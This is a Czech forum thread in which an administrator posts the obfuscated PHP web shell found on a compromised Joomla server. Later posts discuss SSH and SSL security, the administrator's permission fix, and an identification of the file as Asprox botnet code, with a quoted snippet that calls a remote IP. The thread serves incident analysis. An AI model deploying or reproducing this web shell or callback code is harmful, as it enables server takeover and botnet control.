if(p2!=null)d.fm.p2.value=p2;else d.fm.p2.value=p2_;
if(p3!=null)d.fm.p3.value=p3;else d.fm.p3.value=p3_;
}
function g(p1,p2,p3) {
set(p1,p2,p3);
d.fm.submit();
}
</script>
<!--
86a20c1b92a2d831b50ba9d62e18ed86
-->
<body>
<form method=post name=fm style='display:none;'>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
</form>
"; if (!function_exists("posix_getpwuid") && !in_array('posix_getpwuid', $v619d75f8)) { function posix_getpwuid($v83878c91) { return false; } } if (!function_exists("posix_getgrgid") && !in_array('posix_getgrgid', $v619d75f8)) { function posix_getgrgid($v83878c91) { return false; } } $v10963336 = @getcwd().DIRECTORY_SEPARATOR; $va9cc6a00 = @diskfreespace($v10963336); $vdb28f3b2 = @disk_total_space($v10963336); $vdb28f3b2 = $vdb28f3b2?$vdb28f3b2:1; if(!function_exists('posix_getegid')) { $vee11cbb1 = @get_current_user(); $v9871d3a2 = @getmyuid(); $v2d53a8fb = @getmygid(); $vdb0f6f37 = "?"; } else { $v9871d3a2 = @posix_getpwuid(@posix_geteuid()); $v2d53a8fb = @posix_getgrgid(@posix_getegid()); $vee11cbb1 = $v9871d3a2['name']; $vdb0f6f37 = $v2d53a8fb['name']; $v9871d3a2 = $v9871d3a2['uid']?$v9871d3a2['uid']:@posix_geteuid(); $v2d53a8fb = $v2d53a8fb['gid']?$v2d53a8fb['gid']:@posix_getegid(); } $v693ee6e5 = count(explode('/', @$_SERVER["REQUEST_URI"])) - 2; if ($v693ee6e5 > DEFAULT_DIR_DEEP_BACK) $v693ee6e5 = DEFAULT_DIR_DEEP_BACK; print "<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>PHP:<br>Disabled:<br>HDD:<br>Site:<br>Root:<br>CWD:</span></td><td><nobr>".@php_uname()."</nobr><br>".$v9871d3a2.' ( '.$vee11cbb1.' ) <span>Group:</span> '.$v2d53a8fb.' ( '.$vdb0f6f37.' )<br>'.@phpversion().' <span>Safe mode:</span> ' . (@ini_get('safe_mode')?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'\',\'info\')">[ phpinfo ]</a> '.' <span>Datetime:</span> ' . date('Y-m-d H:i:s')."<br><nobr>".implode(",", $v619d75f8)."</nobr><br>".n25d3ae48($vdb28f3b2) . ' <span>Free:</span> ' . n25d3ae48($va9cc6a00) . ' ('. (int) ($va9cc6a00/$vdb28f3b2*100) . "%)<br><a href=\"http://".@$_SERVER['HTTP_HOST']."/\">http://".@$_SERVER['HTTP_HOST']."/</a><br>".htmlspecialchars(realpath(@$_SERVER['DOCUMENT_ROOT']).DIRECTORY_SEPARATOR)."<br>".htmlspecialchars($v10963336)." <a href='".@$_SERVER["REQUEST_URI"]."'>[ home ]</a></td><td align='right' width=10%><span>Server IP:</span><br>".@$_SERVER["SERVER_ADDR"]."<br><span>Client IP:</span><br>".@$_SERVER["REMOTE_ADDR"]."<br>deep = $v693ee6e5</td></tr></table>\n"; if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style><a href="'.@$_SERVER["REQUEST_URI"].'">BACK</a>'; ob_start(); phpinfo(); $vfa816edb = ob_get_clean(); $vfa816edb = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$vfa816edb); $vfa816edb = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$vfa816edb); echo str_replace('<h1','<h2', $vfa816edb) .'</div><br>'; exit; } $v10ae9fc7 = @n643462d4($v10963336, $v2e0a881e); if ($v693ee6e5 > 0) { $v73600783 = $v10963336.DIRECTORY_SEPARATOR.'..'; for ($v865c0c0b=1; $v865c0c0b <= $v693ee6e5; $v865c0c0b++) { $v10ae9fc7 = array_unique(array_merge($v10ae9fc7, n97fe6a35("$v73600783", $v2e0a881e))); $v73600783 = $v73600783.DIRECTORY_SEPARATOR.'..'; } } print '<script>p1_=p2_=p3_="";</script>
<div class=content>
<table class="main" cellpadding="2" cellspacing="0" width="100%">
<tbody><tr><th>Status</th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>
'; $v2db95e8e = 0; foreach ($v10ae9fc7 as $v73600783) { if (@is_writable($v73600783)) $v9acb4454="<font color='green'>RW</font>"; else if ($v8a40bf93) $v9acb4454="<font color='red'>RO</font>"; else continue; $v72122ce9 = @posix_getpwuid(@fileowner($v73600783)); $vdb0f6f37 = @posix_getgrgid(@filegroup($v73600783)); $vb515e18a = $v72122ce9['name']?$v72122ce9['name']:@fileowner($v73600783); $vaae3c716 = $vdb0f6f37['name']?$vdb0f6f37['name']:@filegroup($v73600783); $v58f57b98 = substr(sprintf('%o', @fileperms($v73600783)), -4); $v8f45a264 = date('Y-m-d H:i:s', @filemtime($v73600783)); if (@is_dir($v73600783)){ $v9407b494 = "[ $v73600783 ]"; $vf7bd60b7 = "<span>DIR</span>"; } else { $vf7bd60b7 = n25d3ae48(@filesize($v73600783)); $v9407b494 = "$v73600783"; } print "<tr".($v2db95e8e?' class=l1':'')."><td><span>$v9acb4454</span></td><td><b><span>".htmlspecialchars($v9407b494)."</span></b></td><td>$vf7bd60b7</td><td>$v8f45a264</td><td>$vb515e18a/$vaae3c716</td><td>$v58f57b98</td><td>"; if (!@is_dir($v73600783)) print "<a title=\"Download\" href=\"#\" onclick=\"g('".urlencode($v73600783)."','download')\">D</a>"; print " <a title=\"Remove\" href=\"#\" onclick=\"g('".urlencode($v73600783)."','delete')\">R</a></td></tr>\n"; $v2db95e8e = $v2db95e8e?0:1; } print "
</tbody></table>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr><td><form method=post onsubmit=\"g(this.m.value,'mkdir');return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=m value='".htmlspecialchars($v10963336)."'><input type=submit value='>>'></form></td></tr>
<tr><td><form method=post onsubmit=\"g(this.d.value,'delete');return false;\"><span>Delete (file or dir):</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td></tr>
<tr><td><form method=post><span>Chmod:</span>
<input type=hidden name=p2 value='chmod'><br>
File or dir : <input class='toolsInp' type=text name=p1 value='".htmlspecialchars($v10963336)."'><br>
<input type=text size=6 name=p3 value='0755'>
<input type=submit value='>>'></form></td></tr>
<tr><td><form method='post' ENCTYPE='multipart/form-data'>
<span>Upload file:</span><br>
<input type=hidden name=p2 value='uploadFile'>
Path : <input class='toolsInp' type=text name=p3 value='".htmlspecialchars($v10963336)."'><br>
<input class='toolsInp' type=file name=f>
<input type=submit value='>>'></form><br></td></tr>
</table></div></body></html>
"; function n7d8f77be($v73600783) { $v700f6fa0 = @opendir($v73600783); while (false !== ($v435ed7e9 = @readdir($v700f6fa0))) $v45b96339[] = $v435ed7e9; return $v45b96339; } function n643462d4($v73600783, $v2e0a881e=true) { if(!function_exists("scandir")) $v63a9f0ea = array_diff(@n7d8f77be($v73600783), array('.', '..')); else $v63a9f0ea = array_diff(@scandir($v73600783), array('.', '..')); foreach($v63a9f0ea as $v2063c160) { if($v2063c160 === '.' || $v2063c160 === '..') continue; if(@is_file($v73600783.DIRECTORY_SEPARATOR.$v2063c160) && $v2e0a881e) { $vb4a88417[]=@realpath($v73600783.DIRECTORY_SEPARATOR.$v2063c160);continue; } elseif(@is_dir($v73600783.DIRECTORY_SEPARATOR.$v2063c160)) $vb4a88417[]=@realpath($v73600783.DIRECTORY_SEPARATOR.$v2063c160).DIRECTORY_SEPARATOR; else continue; foreach(@n643462d4($v73600783.DIRECTORY_SEPARATOR.$v2063c160, $v2e0a881e) as $v2063c160) $vb4a88417[]=$v2063c160; } return $vb4a88417; } function n97fe6a35($v73600783, $v2e0a881e=true) { if (false == ($v700f6fa0 = @opendir($v73600783))) return array(); while (false !== ($v435ed7e9 = @readdir($v700f6fa0))) if ($v435ed7e9 != '..' and @is_dir($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9)) $v45b96339[] = @realpath($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9).DIRECTORY_SEPARATOR; elseif ($v2e0a881e and $v435ed7e9 != '..' and @is_file($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9)) $v45b96339[] = @realpath($v73600783.DIRECTORY_SEPARATOR.$v435ed7e9); @closedir($v700f6fa0); return $v45b96339; } function n46aa46af($v73600783) { foreach(glob($v73600783 . '/*') as $v8c7dd922) { if(@is_dir($v8c7dd922)) n46aa46af($v8c7dd922); else @unlink($v8c7dd922); } @rmdir($v73600783); } function n25d3ae48($v03c7c0ac) { if($v03c7c0ac >= 1073741824) return sprintf('%1.2f', $v03c7c0ac / 1073741824 ). ' GB'; elseif($v03c7c0ac >= 1048576) return sprintf('%1.2f', $v03c7c0ac / 1048576 ) . ' MB'; elseif($v03c7c0ac >= 1024) return sprintf('%1.2f', $v03c7c0ac / 1024 ) . ' KB'; else return $v03c7c0ac . ' B'; } function n0182dfe8($ve04aa510) { if (is_string($ve04aa510)) return stripslashes($ve04aa510); if (is_array($ve04aa510)) foreach($ve04aa510 as $v865c0c0b => $v2063c160) $ve04aa510[$v865c0c0b] = n0182dfe8($v2063c160); return $ve04aa510 ; } ?>
To mi nepřijde jako košér php skript. Projekt sice běhá na joomla, což je balast sám o sobě, ale tohle vypadá spíš na nějakou mrchu...pokud tohle nepatří k joomla, tak je jasné, že se to tam dostalo od někoho z lokálu... Ale nejsem nějaký php machr a joomlu nějak extra taky neznám, tak nevím, jestli to není v pořádku
-
Neposílá se heslo v plaintextu. Když se připojuješ poprvé, tak se před zadáním jména + hesla vygenerují klíče, ty je odsouhlasíš a teprve potom se můžeš přihlašovat.
No, myslím, že se vytvoří nějaký hash nebo nějaký fingerprint, či tak něco, který kontroluje ip adresu a hostname, ale že by se vygenerovali klíče, to myslím že ne... Ty se generují ručně. Ta kontrola mi teď hlásí, pokaždé, když se chci někam připojit přes klíč, že se změnil server, a jen proto, že jsem změnil hostname.
Navíc to o odposlechnutí hesla máme i zde:
http://wiki.ubuntu.cz/ssh
Ověření veřejného klíče
Kdysi všichni používali k prokazování identity klasické uživatelské jméno a heslo. Nicméně pokud někdo uhodl nebo odposlechl vaše heslo, tak bylo veškeré zabezpečení pryč.
-
Navíc to o odposlechnutí hesla máme i zde:
http://wiki.ubuntu.cz/ssh
Ověření veřejného klíče
Kdysi všichni používali k prokazování identity klasické uživatelské jméno a heslo. Nicméně pokud někdo uhodl nebo odposlechl vaše heslo, tak bylo veškeré zabezpečení pryč.
Ten wikiclanek si mirne protireci, viz:
SSH nahrazuje starší, nezabezpečené aplikace jako telnet, rlogin a FTP. Tyto aplikace přenášely hesla po internetu bez šifrování, čímž mohla být hesla snadno odposlechnuta a ukradena. Použitím šifrování SSH těmto problémům předchází.
osobne by me zajimalo, jak by se takove ssh heslo dalo odposlechnout.
Ostatne i prihlasovani se klicem ma sva rizika, staci kompromitovany uzivatelsky ucet a malware se diky klicum (resp diky ssh-add) dostane na vsechny servery kam se prihlasujes.
-
To je blbost... jinak je to nejhloupější soft chyba jakou jsem kdy viděl. ;D
Přesně tak... kdybych se přihlašoval klíčem, který se odešle stejně jako to heslo, o kterým tvrdíte, že jde odposlechnout... tak co by útočníkovi zabránilo odposlechnout ten SSH klíč a příště ho použít místo Vás??? Absolutně nic. I ten klíč se musí nějak poslat zašifrovaně, aby se nedal jen tak odcizit. Nevím... ale když si dám 1 + 1, tak to ani snad jinak nejde.... nebo zatím nic lepšího nevymyslel nikdo.
-
fungovani autentizace pomoci klicu (cituji z http://www.root.cz/clanky/pouzivani-klicu-v-openssh/):
Použití uživatelských klíčů
Namísto posílání hesla se klient může představit elektronickým podpisem. Nejprve si vygeneruje dvojici asymetrických klíčů, soukromý a veřejný. Poté sdělí serveru prostou zprávu: „Rád bych se přihlásil jako pepa.“ K této zprávě připojí svůj veřejný klíč a celou zprávu podepíše, tedy připojí hash zprávy, zašifrovaný svým soukromým klíčem. Server ověří platnost podpisu proti veřejnému klíči, který je součástí zprávy a pokud je v pořádku, zkontroluje, zda má pepa uveden v seznamu autorizovaných SSH klíčů veřejný klíč, kterým byla zpráva podepsána. Pokud ano, je přihlášení úspěšné.
tzn. soukromy klic, kterym se zprava podepisuje se nikam (nikdy) neposila a tedy neni co odposlechnout. Verejny klic je uz z princiu verejny.
-
Teď nějak nechápu tu poslední reakci... k čemu je ta citace? (googlit snad umíme všichni :-) ) Pro doplnění toho co jsem laicky popsal (ať to tu máme nějak odborněji)?
-
Laicky to zkusím shrnout já.. žiju tedy v domnění, že SSH užívám právě proto, aby mi heslo odposlechnuto nebylo. FTP se dá sice taky zašifrovat, ale to už je za zenitem. SSH mám za to, že jakákoliv komunikace, která vede přes něj, je šifrovaná. Od počátku, do konce. Jestliže se budu hlásit z počítače A, přes X routerů na počítač B na druhé straně zeměkoule, není možné, aby na kterémkoliv routeru bylo možné heslo odposlechnout...tím by ssh, jakožto zabezpečený kanál, postrádal svůj smysl.
Autorizace klíčů byla detailně a smysluplně popsána právě v článku z root.cz.
-
Když se přihlašujete poprvé k nějakému stroji, udělá se po vašem odsouhlasení záznam v ~/.ssh/known_hosts.
To, jak se ty hashe tam dělají, musí být někde v dokumentaci k .ssh. Nicméně se tím myslím nic nešifruje.
Jak může být přihlašování heslem šifrované, když protistrana nezná šifru? To by se nikdo nikam nikdy heslem nepřihlásil. Proto, aby mohl být šifrovaný přenos, musí obě strany být dohodnuty, jak šifrovat, protistrana musí mít dešifrovací klíč a než se nalogujete heslem, tak ho prostě nemá.
Leda že byste použili přihlašování klíči. Tak použije váš veřejný klíč, který si vygenerujete (ssh-keygen -t dsa) a doručíte na druhou stranu například skrze přihlášení heslem (ssh-copy-id -i ~/.ssh/id_dsa.pub pepa@maxipesfik) nebo na flešce. Heslo mohlo být odposlechnuto, tak na vzdáleném stroji přihlášení heslem po vyzkoušení funkčnosti zakážete.
I kdyby se to heslo neposílalo v plaintextu, ale v nějakém hashi, tak tvorba toho hashe bude opensource a součástí veřejných zdrojových kódů k openssh.
Ten článek si ohledně telnetu, rloginu a ftp neodporuje. Ty bývají nezabezpečené po celou dobu připojení. U ssh je to jen zasílání hesla.
-
Takhle to úplně nelogicky nezní... bude v tom nějaký fígl, takhle do hloubky to opravdu neznám, to přiznávám.
Ale jak píše @on: "tím by ssh, jakožto zabezpečený kanál, postrádal svůj smysl." A má naprostou pravdu... prostě fígl. Ku přikládu mě takhle po ránu (doufám, že u toho ještě nespím ;D ) napadlo přirovnání s apachem. Tam když je stránka na SSL, tak taky nikdo nemá svoje klíče... přesto když někam pošlete svoje údaje, jsou zašifrované. Takže jde to... poslat zašifrovaně... aniž by druhá strana musela mít importovaný klíče. Nebo to ti chudáci všichni lidé posílají inetem nezašifrované řetězce? ::)
-
SSH je jako spusta věcí vytvořeno ve "vrstvách" a je pravda autorizační (authentication layer) vrstva předává heslo v plaintextu (podle RFC) Taky jsem se zděsil když jsem to četl. Nicméně autorizační vrstva spoléhá na vrstvu spojovou (transport layer), že zajistí důvěryhodné spojení a to vyjednáváním. V SSH je metoda pro zajištění komunikace dvou neznámých subjektů takhle si předají klíč na jedno použití. Takže heslo neproplouvá netem nezašifrováno.
EDIT: a ta metoda by měla být Diffie-Hellman Key Exchange, krása by měla spočívat v tom že i kdyby útočník odposlouchával komunikaci tak při tom "vyjednávání" se nikdy klíč neposílá a matematikou je zajištěn dostatečně robustní algoritmus odolný na odhady.
-
Jestli jsem tedy správně pochopil, heslo se v plaintextu tedy reálně opravdu posílá, jenže nad ním je komunikační vrstva, která už svým mechanismem zajistí, aby odposlechnutelné toto heslo nebylo. Jinými slovy dostat se k heslu znamená prolomení komunikační vrstvy...čili jestli je heslo šifrované samostatně nebo v komunikační vrstvě, tak jako tak je to pro útočníka problém..Na to, si myslím, že člověk využívající SSH spoléhá.
-
Přesně tak, na to člověk spoléhá... a ono to tak i je. Jinak bych v tom případě pochyboval, že by autoři nezakomponovali tu vlastnost, že bez klíčů by se zkrátka logovat nešlo (asi jako kdyby banky dali možnost přístup do účtu buď s SSL či bez něj).
-
Já bych se možná ještě malinko vrátil k tomu, co psal Martin - VIPEr*CZ*, a sice:
Ku přikládu mě takhle po ránu (doufám, že u toho ještě nespím ;D ) napadlo přirovnání s apachem. Tam když je stránka na SSL, tak taky nikdo nemá svoje klíče... přesto když někam pošlete svoje údaje, jsou zašifrované.
Odborník na certifikáty sice nejsem, ale dle mého skromného názoru zrovna tohle nebyl úplně vhodný příklad :) Každý webový prohlížeč v sobě totiž má certifikační autority. Všechny světové vydavatele by mít měl, pač pokud si někdo u takového vydavatele nechá vystavit pro svůj web certifikát, tak se právě tento certifikát autentizuje s tím, který je v tom webovém prohlížeči. Na základě toho pak vznikne šifrovaná komunikace. Pokud jej prohlížeč nezná, je uživatel upozorněn, že certifikát není důvěryhodný a vstup je na vlastní riziko.
Já bych to spíš přirovnal k tomu, že šifrovaná komunikace nemusí vznikat jen na základě protistran, ale na základě nějakého algoritmu. Typickým příkladem je hash md5 např v mysql. Tak jsem si teda původně myslel, že ssh plus minus funguje. Než dojde k navázání spojení, tak heslo putuje v nějaké zašifrované podobě.
Beer už ale předvídavě na tohle odpověděl:
I kdyby se to heslo neposílalo v plaintextu, ale v nějakém hashi, tak tvorba toho hashe bude opensource a součástí veřejných zdrojových kódů k openssh.
Což je možná pravda, ale pořád by to měl útočník složitější. V bezpečnosti obecně jde stejně hlavně o to, oddálit nebo co nejvíc zkomplikovat možnost nabourání, pač stoprocentní ochrana není žádná.
-
Asi máš pravdu. Každopádně i s nepodepsaným certifikátem to je ok. Ale zaskočil jsi mě... docela by mě zajímal ten přesný text co tam browser píše.
Ještě teda doplním, že ty podepsaný certifikáty by neměli jít podvrhnout a browser právě na ty nepodepsaný upozorňuje. Protože uživatel sice může mít v adresním řádku adresu banky, ale kdyby měla certifikát nepodepsaný, tak by se mohlo stát, že banku vidím, ale že jde vlastně o kopii vytvořenou útočníkem a jak odešlu heslo, tak jeho server si ho pravděpodobně uloží. (nevím teď z hlavy jak se tomu útoku říká)
-
Ještě teda doplním, že ty podepsaný certifikáty by neměli jít podvrhnout a browser právě na ty nepodepsaný upozorňuje.
Ono tomu tak není, je možné ukrást podepisovací certifikát certifikační autoritě a podepisovat podvrhnuté weby.
Případ comodo byl jen jedním z mnoha.
http://www.root.cz/clanky/ssl-neni-bezpecne-ukazuje-pripad-comodo/ (http://www.root.cz/clanky/ssl-neni-bezpecne-ukazuje-pripad-comodo/)
Autority tak vytvářejí kritický prvek selhání (single point of failure), protože se jednoduše doufá v to, že jsou nenapadnutelné a vše v nich funguje zcela správně. Tedy, že nevystavují certifikáty někomu cizímu. A přesně to společnost Comodo udělala – devětkrát.
Firma 15. března přiznala, že došlo k vážnému narušení bezpečnosti. Přes účet jednoho z partnerů (InstantSSL.it, později byli kompromitováni další dva) byl založen účet nový a na ten bylo vystaveno devět neověřených certifikátů. Celkem se jedná o certifikáty vystavené na sedm domén:
mail.google.com
login.live.com
www.google.com
login.yahoo.com (tři certifikáty)
login.skype.com
addons.mozilla.org
global trustee
Útoky přišly z různých IP adres, ale především z Íránu (IP adresa 212.95.136.18), útočník byl velmi dobře připravený, rychle napadl systém, rychle vytvořil potřebné certifikáty a zmizel. Útočník požádal celkem o devět certifikátů, ale Comodo netuší, zda si všechny vyzvedl. Jisté je, že certifikát na login.yahoo.com byl v praxi použit.
edit:
další odkazy ohledně bezpečnosti SSL:
http://www.root.cz/clanky/ssl-je-zbytecne-pokud-se-nekontroluje-certifikat/ (http://www.root.cz/clanky/ssl-je-zbytecne-pokud-se-nekontroluje-certifikat/)
Výsledkem toho všeho je, že existuje mnoho aplikací a platebních bran, které s nadšením akceptují jakýkoli man-in-the-middle útok s jakýmkoli, třeba i self-signed certifikátem nebo certifikátem vydaným na úplně jiné DNS jméno.
Jednou z těchto chyb pořád trpí na Androidu i Opera Mini, a to mají vývojáři Opery mnohem víc zkušeností než náhodný jiný vývojář, který dostal v zadání „tady má být HTTPS“. Opera Mobile zahlásí varování o certifikátu.
http://www.root.cz/clanky/ssl-divocina-aneb-jak-se-chovaji-duveryhodne-ca/ (http://www.root.cz/clanky/ssl-divocina-aneb-jak-se-chovaji-duveryhodne-ca/)
Rok 2011 byl bohatý na medializované případy napadených certifikačních autorit. Mezi obecně známé patří Comodo, DigiNotar, Gemnet, StartCom a GlobalSign.
Malware podepsán faktorizovanými klíči
Existence mnoha platných certifikátů s 512bitovými klíči vydaných důvěryhodnými CA je dlouho známá, ale ještě potrvá, než je začne software odmítat jako slabé. Po prvních kouscích malware podepsaného ukradenými klíči (Stuxnet, Duqu) přišla větší vlna.
Pro všechny podpisy byly použity certifikáty s 512bitovými RSA klíči od různých CA, z čehož se usuzuje, že klíče byly nejspíš faktorizovány. Těžko říct, proč si útočníci vybrali faktorizaci, když mohli koupit ukradené klíče. Možná vyšla faktorizace levněji nebo zanechala méně stop po pachatelích. Cena „okamžité“ faktorizace 512-bit RSA klíče na EC2 cloudu vyjde pod 150 dolarů.
Kromě ssl je doporučené proto používat i DNSsec, otázka je jeho nasazení v praxy, jestli prohlížeče kontrolují dnssec key.
-
Ještě teda doplním, že ty podepsaný certifikáty by neměli jít podvrhnout a browser právě na ty nepodepsaný upozorňuje.
Ono tomu tak není, je možné ukrást podepisovací certifikát certifikační autoritě a podepisovat podvrhnuté weby.
Případ comodo byl jen jedním z mnoha.
http://www.root.cz/clanky/ssl-neni-bezpecne-ukazuje-pripad-comodo/ (http://www.root.cz/clanky/ssl-neni-bezpecne-ukazuje-pripad-comodo/)
Ono to tu už také padlo... nechoďme do extrémů... protože co je bezpečné?
-
Řekl bych sex dvou pannen, ale to bude asi na jiné fórum ;D
-
Řekl bych sex dvou pannen, ale to bude asi na jiné fórum ;D
S tím bych si dovolil nesouhlasit. ;D
-
Řekl bych sex dvou pannen, ale to bude asi na jiné fórum ;D
S tím bych si dovolil nesouhlasit. ;D
Ano, to je moderátor, také je to jen člověk :D
-
Takže, jen pro informaci, nápravná opatření jsem udělal taková, že jsem vše ošetřil právama přes skripty.
Byl jsem měkký a vývojáři měli vyjímky, kdy si mohli ve svých projektech na produkčním prostředí měnit zdrojové kódy.
Když chtěli udělat nějakou jednoduchou úpravu (změna adresy v patičce nebo tak něco), tak jim to přes git přišlo příliš složité, tak úpravu udělali přímo ve zdrojáku - je to blbost, ale jejich boj.
Každopádně tomu je konec. Nastavila se pevná pravidla bez vyjímek. Bez Gitu + buildovacího softwaru jenkins, který má na svědomí "kopírování" zdrojáků na produkci si už neprdnou.
Funguje to tak, že existuje jedna složka s právem zápisu, do ní jenkins provádí veškeré buildy (kopíruje zdrojáky - ovšem na tuto složku ještě nesahá apache. Je to separé složka, takový most). Vývojáři si v Jenkins u každého projektu nastaví, která konkrétní složka potřebuje právo zápisu (klienti si tam nahrávají fotky, dokumenty atd...) Skript, který je v cronu, co 5minut kontroluje jednu spešl složku, do které se ukládají konfigurace každého projektu. Skript tedy ocheckuje, jestli má co zpracovat, pokud nějaký soubor najde, rozpársuje jej a synchronizuje (rsync) projekt do produkčního prostředí, kam už si sahá apache. Po synchronizaci upraví práva na 550 rekurzivně vyjma těch, do kterých má být právo zápisu - tyto složky mají 750.
Cílem je tedy to, že ikdyby se nějak dostal vir do složek s právem zápisu, nikam jinam se už nedostane. Takhle můžu přesně zjistit, který projekt je děravý.
Doposud to bylo tak, že vir se rozlezl úplně všude. Z těch 60ti projektů byl vir tak v 58mi...a teď hledejte, který z nich to má na svědomí :) Nějakou dírou se tam holt dostal a ssh vylučuji už jen proto, že každý z virů měl vlastníka "jenkins" = uživatel, pod kterým běží apache.
-
To co je/bylo ve favicon.php je soucasti Asprox botnetu.
Vice informaci http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf (http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf) http://rebsnippets.blogspot.cz/2013/05/phishing-malware-as-service-this-blog.html (http://rebsnippets.blogspot.cz/2013/05/phishing-malware-as-service-this-blog.html)
favicon.php
<?php
error_reporting(0);
ini_set("display_errors", 0);
$remote = 'http://62.109.31.142/request12.php';